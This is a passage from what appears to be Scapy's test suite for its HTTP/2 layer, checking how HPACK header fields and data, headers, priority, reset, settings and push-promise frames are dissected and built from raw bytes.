h2.HPackZString(s)) == repr('HPackZString(Test)')) = HTTP/2 HPackStrLenField.i2len ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') s = b'Test' assert(f.i2len(None, h2.HPackLiteralString(s)) == 4) assert(f.i2len(None, h2.HPackZString(s)) == 3) + HTTP/2 HPackMagicBitField Test Suite # Magic bits are not supposed to be modified and if they are anyway, they must # be assigned the magic|default value only... = HTTP/2 HPackMagicBitField.addfield ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) r = f.addfield(None, b'Toto', 3) assert(isinstance(r, tuple)) assert(r[0] == b'Toto') assert(r[1] == 2) assert(r[2] == 3) r = f.addfield(None, (b'Toto', 2, 1) , 3) assert(isinstance(r, tuple)) assert(r[0] == b'Toto') assert(r[1] == 4) assert(r[2] == 7) assert(expect_exception(AssertionError, 'f.addfield(None, "toto", 2)')) = HTTP/2 HPackMagicBitField.getfield ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) r = f.getfield(None, b'\xc0') assert(isinstance(r, tuple)) assert(len(r) == 2) assert(isinstance(r[0], tuple)) assert(len(r[0]) == 2) assert(r[0][0] == b'\xc0') assert(r[0][1] == 2) assert(r[1] == 3) r = f.getfield(None, (b'\x03', 6)) assert(isinstance(r, tuple)) assert(len(r) == 2) assert(isinstance(r[0], bytes)) assert(r[0] == b'') assert(r[1] == 3) expect_exception(AssertionError, 'f.getfield(None, b"\\x80")') = HTTP/2 HPackMagicBitField.h2i ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) assert(f.h2i(None, 3) == 3) expect_exception(AssertionError, 'f.h2i(None, 2)') = HTTP/2 HPackMagicBitField.m2i ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) assert(f.m2i(None, 3) == 3) expect_exception(AssertionError, 'f.m2i(None, 2)') = HTTP/2 HPackMagicBitField.i2m ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) assert(f.i2m(None, 3) == 3) expect_exception(AssertionError, 'f.i2m(None, 2)') = HTTP/2 HPackMagicBitField.any2i ~ http2 hpack field hpackmagicbitfield f = h2.HPackMagicBitField('value', 3, 2) assert(f.any2i(None, 3) == 3) expect_exception(AssertionError, 'f.any2i(None, 2)') + HTTP/2 HPackHdrString Test Suite = HTTP/2 Dissect HPackHdrString ~ http2 pack dissect hpackhdrstring p = h2.HPackHdrString(b'\x04Test') assert(p.type == 0) assert(p.len == 4) assert(isinstance(p.getfieldval('data'), h2.HPackLiteralString)) assert(p.getfieldval('data').origin() == 'Test') p = h2.HPackHdrString(b"\x83\xdeT'") assert(p.type == 1) assert(p.len == 3) assert(isinstance(p.getfieldval('data'), h2.HPackZString)) assert(p.getfieldval('data').origin() == 'Test') = HTTP/2 Build HPackHdrString ~ http2 hpack build hpackhdrstring p = h2.HPackHdrString(data=h2.HPackLiteralString('Test')) assert(raw(p) == b'\x04Test') p = h2.HPackHdrString(data=h2.HPackZString('Test')) assert(raw(p) == b"\x83\xdeT'") #Fuzzing-able tests p = h2.HPackHdrString(type=1, len=3, data=h2.HPackLiteralString('Test')) assert(raw(p) == b'\x83Test') + HTTP/2 HPackIndexedHdr Test Suite = HTTP/2 Dissect HPackIndexedHdr ~ http2 hpack dissect hpackindexedhdr p = h2.HPackIndexedHdr(b'\x80') assert(p.magic == 1) assert(p.index == 0) p = h2.HPackIndexedHdr(b'\xFF\x00') assert(p.magic == 1) assert(p.index == 127) = HTTP/2 Build HPackIndexedHdr ~ http2 hpack build hpackindexedhdr p = h2.HPackIndexedHdr(index=0) assert(raw(p) == b'\x80') p = h2.HPackIndexedHdr(index=127) assert(raw(p) == b'\xFF\x00') + HTTP/2 HPackLitHdrFldWithIncrIndexing Test Suite = HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing without indexed name ~ http2 hpack dissect hpacklithdrfldwithincrindexing p = h2.HPackLitHdrFldWithIncrIndexing(b'\x40\x04Test\x04Toto') assert(p.magic == 1) assert(p.index == 0) assert(isinstance(p.hdr_name, h2.HPackHdrString)) assert(p.hdr_name.type == 0) assert(p.hdr_name.len == 4) assert(p.hdr_name.getfieldval('data').origin() == 'Test') assert(isinstance(p.hdr_value, h2.HPackHdrString)) assert(p.hdr_value.type == 0) assert(p.hdr_value.len == 4) assert(p.hdr_value.getfieldval('data').origin() == 'Toto') = HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing with indexed name ~ http2 hpack dissect hpacklithdrfldwithincrindexing p = h2.HPackLitHdrFldWithIncrIndexing(b'\x41\x04Toto') assert(p.magic == 1) assert(p.index == 1) assert(p.hdr_name is None) assert(isinstance(p.hdr_value, h2.HPackHdrString)) assert(p.hdr_value.type == 0) assert(p.hdr_value.len == 4) assert(p.hdr_value.getfieldval('data').origin() == 'Toto') = HTTP/2 Build HPackLitHdrFldWithIncrIndexing without indexed name ~ http2 hpack build hpacklithdrfldwithincrindexing p = h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert(raw(p) == b'\x40\x04Test\x04Toto') = HTTP/2 Build HPackLitHdrFldWithIncrIndexing with indexed name ~ http2 hpack build hpacklithdrfldwithincrindexing p = h2.HPackLitHdrFldWithIncrIndexing( index=1, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert(raw(p) == b'\x41\x04Toto') + HTTP/2 HPackLitHdrFldWithoutIndexing Test Suite = HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : don't index and no index ~ http2 hpack dissect hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing(b'\x00\x04Test\x04Toto') assert(p.magic == 0) assert(p.never_index == 0) assert(p.index == 0) assert(isinstance(p.hdr_name, h2.HPackHdrString)) assert(p.hdr_name.type == 0) assert(p.hdr_name.len == 4) assert(isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString)) assert(p.hdr_name.getfieldval('data').origin() == 'Test') assert(isinstance(p.hdr_value, h2.HPackHdrString)) assert(p.hdr_value.type == 0) assert(p.hdr_value.len == 4) assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)) assert(p.hdr_value.getfieldval('data').origin() == 'Toto') = HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index index and no index ~ http2 hpack dissect hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing(b'\x10\x04Test\x04Toto') assert(p.magic == 0) assert(p.never_index == 1) assert(p.index == 0) assert(isinstance(p.hdr_name, h2.HPackHdrString)) assert(p.hdr_name.type == 0) assert(p.hdr_name.len == 4) assert(isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString)) assert(p.hdr_name.getfieldval('data').origin() == 'Test') assert(isinstance(p.hdr_value, h2.HPackHdrString)) assert(p.hdr_value.type == 0) assert(p.hdr_value.len == 4) assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)) assert(p.hdr_value.getfieldval('data').origin() == 'Toto') = HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index and indexed name ~ http2 hpack dissect hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing(b'\x11\x04Toto') assert(p.magic == 0) assert(p.never_index == 1) assert(p.index == 1) assert(p.hdr_name is None) assert(isinstance(p.hdr_value, h2.HPackHdrString)) assert(p.hdr_value.type == 0) assert(p.hdr_value.len == 4) assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)) assert(p.hdr_value.getfieldval('data').origin() == 'Toto') = HTTP/2 Build HPackLitHdrFldWithoutIndexing : don't index and no index ~ http2 hpack build hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert(raw(p) == b'\x00\x04Test\x04Toto') = HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index index and no index ~ http2 hpack build hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing( never_index=1, hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert(raw(p) == b'\x10\x04Test\x04Toto') = HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index and indexed name ~ http2 hpack build hpacklithdrfldwithoutindexing p = h2.HPackLitHdrFldWithoutIndexing( never_index=1, index=1, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) ) assert(raw(p) == b'\x11\x04Toto') + HTTP/2 HPackDynamicSizeUpdate Test Suite = HTTP/2 Dissect HPackDynamicSizeUpdate ~ http2 hpack dissect hpackdynamicsizeupdate p = h2.HPackDynamicSizeUpdate(b'\x25') assert(p.magic == 1) assert(p.max_size == 5) p = h2.HPackDynamicSizeUpdate(b'\x3F\x00') assert(p.magic == 1) assert(p.max_size == 31) = HTTP/2 Build HPackDynamicSizeUpdate ~ http2 hpack build hpackdynamicsizeupdate p = h2.HPackDynamicSizeUpdate(max_size=5) assert(raw(p) == b'\x25') p = h2.HPackDynamicSizeUpdate(max_size=31) assert(raw(p) == b'\x3F\x00') + HTTP/2 Data Frame Test Suite = HTTP/2 Dissect Data Frame: Simple data frame ~ http2 frame dissect data pkt = h2.H2Frame(b'\x00\x00\x04\x00\x00\x00\x00\x00\x01ABCD') assert(pkt.type == 0) assert(pkt.len == 4) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2DataFrame)) assert(pkt[h2.H2DataFrame]) assert(pkt.payload.data == b'ABCD') assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload)) = HTTP/2 Build Data Frame: Simple data frame ~ http2 frame build data pkt = h2.H2Frame(stream_id = 1)/h2.H2DataFrame(data='ABCD') assert(raw(pkt) == b'\x00\x00\x04\x00\x00\x00\x00\x00\x01ABCD') try: pkt.show2(dump=True) assert(True) except Exception: assert(False) = HTTP/2 Dissect Data Frame: Simple data frame with padding ~ http2 frame dissect data pkt = h2.H2Frame(b'\x00\x00\r\x00\x08\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') #Padded data frame assert(pkt.type == 0) assert(pkt.len == 13) assert(len(pkt.flags) == 1) assert('P' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2PaddedDataFrame)) assert(pkt[h2.H2PaddedDataFrame]) assert(pkt.payload.padlen == 8) assert(pkt.payload.data == b'ABCD') assert(pkt.payload.padding == b'\x00'*8) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload)) = HTTP/2 Build Data Frame: Simple data frame with padding ~ http2 frame build data pkt = h2.H2Frame(flags = {'P'}, stream_id = 1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\x00'*8) assert(raw(pkt) == b'\x00\x00\r\x00\x08\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') try: pkt.show2(dump=True) assert(True) except Exception: assert(False) = HTTP/2 Dissect Data Frame: Simple data frame with padding and end stream flag ~ http2 frame dissect data pkt = h2.H2Frame(b'\x00\x00\r\x00\t\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') #Padded data frame with end stream flag assert(pkt.type == 0) assert(pkt.len == 13) assert(len(pkt.flags) == 2) assert('P' in pkt.flags) assert('ES' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2PaddedDataFrame)) assert(pkt[h2.H2PaddedDataFrame]) assert(pkt.payload.padlen == 8) assert(pkt.payload.data == b'ABCD') assert(pkt.payload.padding == b'\x00'*8) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload)) = HTTP/2 Build Data Frame: Simple data frame with padding and end stream flag ~ http2 frame build data pkt = h2.H2Frame(flags = {'P', 'ES'}, stream_id=1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\x00'*8) assert(raw(pkt) == b'\x00\x00\r\x00\t\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') try: pkt.show2(dump=True) assert(True) except Exception: assert(False) + HTTP/2 Headers Frame Test Suite = HTTP/2 Dissect Headers Frame: Simple header frame ~ http2 frame dissect headers pkt = h2.H2Frame(b'\x00\x00\x0e\x01\x00\x00\x00\x00\x01\x88\x0f\x10\ntext/plain') #Header frame assert(pkt.type == 1) assert(pkt.len == 14) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2HeadersFrame)) assert(pkt[h2.H2HeadersFrame]) hf = pkt[h2.H2HeadersFrame] assert(len(hf.hdrs) == 2) assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr)) assert(hf.hdrs[0].magic == 1) assert(hf.hdrs[0].index == 8) assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)) assert(hf.hdrs[1].magic == 0) assert(hf.hdrs[1].never_index == 0) assert(hf.hdrs[1].index == 31) assert(hf.hdrs[1].hdr_name is None) assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant')) assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)) s = hf.hdrs[1].hdr_value assert(s.type == 0) assert(s.len == 10) assert(s.getfieldval('data').origin() == 'text/plain') assert(isinstance(hf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Headers Frame: Simple header frame ~ http2 frame build headers p = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[ h2.HPackIndexedHdr(index=8), h2.HPackLitHdrFldWithoutIndexing( index=31, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) ) ] ) assert(raw(p) == b'\x00\x00\x0e\x01\x00\x00\x00\x00\x01\x88\x0f\x10\ntext/plain') = HTTP/2 Dissect Headers Frame: Header frame with padding ~ http2 frame dissect headers pkt = h2.H2Frame(b'\x00\x00\x17\x01\x08\x00\x00\x00\x01\x08\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') #Header frame with padding assert(pkt.type == 1) assert(pkt.len == 23) assert(len(pkt.flags) == 1) assert('P' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2PaddedHeadersFrame)) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(pkt[h2.H2PaddedHeadersFrame]) hf = pkt[h2.H2PaddedHeadersFrame] assert(hf.padlen == 8) assert(hf.padding == b'\x00' * 8) assert(len(hf.hdrs) == 2) assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr)) assert(hf.hdrs[0].magic == 1) assert(hf.hdrs[0].index == 8) assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)) assert(hf.hdrs[1].magic == 0) assert(hf.hdrs[1].never_index == 0) assert(hf.hdrs[1].index == 31) assert(hf.hdrs[1].hdr_name is None) assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant')) assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)) s = hf.hdrs[1].hdr_value assert(s.type == 0) assert(s.len == 10) assert(s.getfieldval('data').origin() == 'text/plain') assert(isinstance(hf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Headers Frame: Header frame with padding ~ http2 frame build headers p = h2.H2Frame(flags={'P'}, stream_id=1)/h2.H2PaddedHeadersFrame( hdrs=[ h2.HPackIndexedHdr(index=8), h2.HPackLitHdrFldWithoutIndexing( index=31, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) ) ], padding=b'\x00'*8, ) assert(raw(p) == b'\x00\x00\x17\x01\x08\x00\x00\x00\x01\x08\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') = HTTP/2 Dissect Headers Frame: Header frame with priority ~ http2 frame dissect headers pkt = h2.H2Frame(b'\x00\x00\x13\x01 \x00\x00\x00\x01\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain') #Header frame with priority assert(pkt.type == 1) assert(pkt.len == 19) assert(len(pkt.flags) == 1) assert('+' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2PriorityHeadersFrame)) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(pkt[h2.H2PriorityHeadersFrame]) hf = pkt[h2.H2PriorityHeadersFrame] assert(hf.exclusive == 0) assert(hf.stream_dependency == 2) assert(hf.weight == 100) assert(len(hf.hdrs) == 2) assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr)) assert(hf.hdrs[0].magic == 1) assert(hf.hdrs[0].index == 8) assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)) assert(hf.hdrs[1].magic == 0) assert(hf.hdrs[1].never_index == 0) assert(hf.hdrs[1].index == 31) assert(hf.hdrs[1].hdr_name is None) assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant')) assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)) s = hf.hdrs[1].hdr_value assert(s.type == 0) assert(s.len == 10) assert(s.getfieldval('data').origin() == 'text/plain') assert(isinstance(hf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Headers Frame: Header frame with priority ~ http2 frame build headers p = h2.H2Frame(flags={'+'}, stream_id=1)/h2.H2PriorityHeadersFrame( exclusive=0, stream_dependency=2, weight=100, hdrs=[ h2.HPackIndexedHdr(index=8), h2.HPackLitHdrFldWithoutIndexing( index=31, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) ) ] ) assert(raw(p) == b'\x00\x00\x13\x01 \x00\x00\x00\x01\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain') = HTTP/2 Dissect Headers Frame: Header frame with priority and padding and flags ~ http2 frame dissect headers pkt = h2.H2Frame(b'\x00\x00\x1c\x01-\x00\x00\x00\x01\x08\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') #Header frame with priority and padding and flags ES|EH assert(pkt.type == 1) assert(pkt.len == 28) assert(len(pkt.flags) == 4) assert('+' in pkt.flags) assert('P' in pkt.flags) assert('ES' in pkt.flags) assert('EH' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2PaddedPriorityHeadersFrame)) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(pkt[h2.H2PaddedPriorityHeadersFrame]) hf = pkt[h2.H2PaddedPriorityHeadersFrame] assert(hf.padlen == 8) assert(hf.padding == b'\x00' * 8) assert(hf.exclusive == 0) assert(hf.stream_dependency == 2) assert(hf.weight == 100) assert(len(hf.hdrs) == 2) assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr)) assert(hf.hdrs[0].magic == 1) assert(hf.hdrs[0].index == 8) assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)) assert(hf.hdrs[1].magic == 0) assert(hf.hdrs[1].never_index == 0) assert(hf.hdrs[1].index == 31) assert(hf.hdrs[1].hdr_name is None) assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant')) assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)) s = hf.hdrs[1].hdr_value assert(s.type == 0) assert(s.len == 10) assert(s.getfieldval('data').origin() == 'text/plain') assert(isinstance(hf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Headers Frame: Header frame with priority and padding and flags ~ http2 frame build headers p = h2.H2Frame(flags={'P', '+', 'ES', 'EH'}, stream_id=1)/h2.H2PaddedPriorityHeadersFrame( exclusive=0, stream_dependency=2, weight=100, padding=b'\x00'*8, hdrs=[ h2.HPackIndexedHdr(index=8), h2.HPackLitHdrFldWithoutIndexing( index=31, hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) ) ] ) + HTTP/2 Priority Frame Test Suite = HTTP/2 Dissect Priority Frame ~ http2 frame dissect priority pkt = h2.H2Frame(b'\x00\x00\x05\x02\x00\x00\x00\x00\x03\x80\x00\x00\x01d') assert(pkt.type == 2) assert(pkt.len == 5) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 3) assert(isinstance(pkt.payload, h2.H2PriorityFrame)) assert(pkt[h2.H2PriorityFrame]) pp = pkt[h2.H2PriorityFrame] assert(pp.stream_dependency == 1) assert(pp.exclusive == 1) assert(pp.weight == 100) = HTTP/2 Build Priority Frame ~ http2 frame build priority p = h2.H2Frame(stream_id=3)/h2.H2PriorityFrame( exclusive=1, stream_dependency=1, weight=100 ) assert(raw(p) == b'\x00\x00\x05\x02\x00\x00\x00\x00\x03\x80\x00\x00\x01d') + HTTP/2 Reset Stream Frame Test Suite = HTTP/2 Dissect Reset Stream Frame: Protocol Error ~ http2 frame dissect rststream pkt = h2.H2Frame(b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01') #Reset stream with protocol error assert(pkt.type == 3) assert(pkt.len == 4) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2ResetFrame)) assert(pkt[h2.H2ResetFrame]) rf = pkt[h2.H2ResetFrame] assert(rf.error == 1) assert(isinstance(rf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Reset Stream Frame: Protocol Error ~ http2 frame build rststream p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error='Protocol error') assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01') p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=1) assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01') = HTTP/2 Dissect Reset Stream Frame: Raw 123456 error ~ http2 frame dissect rststream pkt = h2.H2Frame(b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x01\xe2@') #Reset stream with raw error assert(pkt.type == 3) assert(pkt.len == 4) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2ResetFrame)) assert(pkt[h2.H2ResetFrame]) rf = pkt[h2.H2ResetFrame] assert(rf.error == 123456) assert(isinstance(rf.payload, scapy.packet.NoPayload)) = HTTP/2 Dissect Reset Stream Frame: Raw 123456 error ~ http2 frame dissect rststream p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=123456) assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x01\xe2@') + HTTP/2 Settings Frame Test Suite = HTTP/2 Dissect Settings Frame: Settings Frame ~ http2 frame dissect settings pkt = h2.H2Frame(b'\x00\x00$\x04\x00\x00\x00\x00\x00\x00\x01\x07[\xcd\x15\x00\x02\x00\x00\x00\x01\x00\x03\x00\x00\x00{\x00\x04\x00\x12\xd6\x87\x00\x05\x00\x01\xe2@\x00\x06\x00\x00\x00{') #Settings frame assert(pkt.type == 4) assert(pkt.len == 36) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 0) assert(isinstance(pkt.payload, h2.H2SettingsFrame)) assert(pkt[h2.H2SettingsFrame]) sf = pkt[h2.H2SettingsFrame] assert(len(sf.settings) == 6) assert(isinstance(sf.settings[0], h2.H2Setting)) assert(sf.settings[0].id == 1) assert(sf.settings[0].value == 123456789) assert(isinstance(sf.settings[1], h2.H2Setting)) assert(sf.settings[1].id == 2) assert(sf.settings[1].value == 1) assert(isinstance(sf.settings[2], h2.H2Setting)) assert(sf.settings[2].id == 3) assert(sf.settings[2].value == 123) assert(isinstance(sf.settings[3], h2.H2Setting)) assert(sf.settings[3].id == 4) assert(sf.settings[3].value == 1234567) assert(isinstance(sf.settings[4], h2.H2Setting)) assert(sf.settings[4].id == 5) assert(sf.settings[4].value == 123456) assert(isinstance(sf.settings[5], h2.H2Setting)) assert(sf.settings[5].id == 6) assert(sf.settings[5].value == 123) assert(isinstance(sf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Settings Frame: Settings Frame ~ http2 frame build settings p = h2.H2Frame()/h2.H2SettingsFrame(settings=[ h2.H2Setting(id='Header table size',value=123456789), h2.H2Setting(id='Enable push', value=1), h2.H2Setting(id='Max concurrent streams', value=123), h2.H2Setting(id='Initial window size', value=1234567), h2.H2Setting(id='Max frame size', value=123456), h2.H2Setting(id='Max header list size', value=123) ] ) assert(raw(p) == b'\x00\x00$\x04\x00\x00\x00\x00\x00\x00\x01\x07[\xcd\x15\x00\x02\x00\x00\x00\x01\x00\x03\x00\x00\x00{\x00\x04\x00\x12\xd6\x87\x00\x05\x00\x01\xe2@\x00\x06\x00\x00\x00{') = HTTP/2 Dissect Settings Frame: Incomplete Settings Frame ~ http2 frame dissect settings #We use here the decode('hex') method because null-bytes are rejected by eval() assert(expect_exception(AssertionError, 'h2.H2Frame(bytes_hex("0000240400000000000001075bcd1500020000000100030000007b00040012d68700050001e2400006000000"))')) = HTTP/2 Dissect Settings Frame: Settings Frame acknowledgement ~ http2 frame dissect settings pkt = h2.H2Frame(b'\x00\x00\x00\x04\x01\x00\x00\x00\x00') #Settings frame w/ ack flag assert(pkt.type == 4) assert(pkt.len == 0) assert(len(pkt.flags) == 1) assert('A' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 0) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(isinstance(pkt.payload, scapy.packet.NoPayload)) = HTTP/2 Build Settings Frame: Settings Frame acknowledgement ~ http2 frame build settings p = h2.H2Frame(type=h2.H2SettingsFrame.type_id, flags={'A'}) assert(raw(p) == b'\x00\x00\x00\x04\x01\x00\x00\x00\x00') + HTTP/2 Push Promise Frame Test Suite = HTTP/2 Dissect Push Promise Frame: no flag & headers with compression and hdr_name ~ http2 frame dissect pushpromise pkt = h2.H2Frame(b'\x00\x00\x15\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') assert(pkt.type == 5) assert(pkt.len == 21) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2PushPromiseFrame)) assert(pkt[h2.H2PushPromiseFrame]) pf = pkt[h2.H2PushPromiseFrame] assert(pf.reserved == 0) assert(pf.stream_id == 3) assert(len(pf.hdrs) == 1) assert(isinstance(pf.payload, scapy.packet.NoPayload)) hdr = pf.hdrs[0] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.type == 1) assert(hdr.hdr_name.len == 12) assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.type == 0) assert(hdr.hdr_value.len == 2) assert(hdr.hdr_value.getfieldval('data').origin() == 'Me') = HTTP/2 Build Push Promise Frame: no flag & headers with compression and hdr_name ~ http2 frame build pushpromise p = h2.H2Frame(stream_id=1)/h2.H2PushPromiseFrame(stream_id=3,hdrs=[ h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')), ) ]) assert(raw(p) == b'\x00\x00\x15\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') = HTTP/2 Dissect Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name ~ http2 frame dissect pushpromise pkt = h2.H2Frame(b'\x00\x00\x1e\x05\x0c\x00\x00\x00\x01\x08\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me\x00\x00\x00\x00\x00\x00\x00\x00') assert(pkt.type == 5) assert(pkt.len == 30) assert(len(pkt.flags) == 2) assert('P' in pkt.flags) assert('EH' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(isinstance(pkt.payload, h2.H2PaddedPushPromiseFrame)) assert(pkt[h2.H2PaddedPushPromiseFrame]) pf = pkt[h2.H2PaddedPushPromiseFrame] assert(pf.padlen == 8) assert(pf.padding == b'\x00'*8) assert(pf.stream_id == 3) assert(len(pf.hdrs) == 1) hdr = pf.hdrs[0] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.type == 1) assert(hdr.hdr_name.len == 12) assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.type == 0) assert(hdr.hdr_value.len == 2) assert(hdr.hdr_value.getfieldval('data').origin() == 'Me') = HTTP/2 Build Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name ~ http2 frame build pushpromise p = h2.H2Frame(flags={'P', 'EH'}, stream_id=1)/h2.H2PaddedPushPromiseFrame( stream_id=3, hdrs=[ 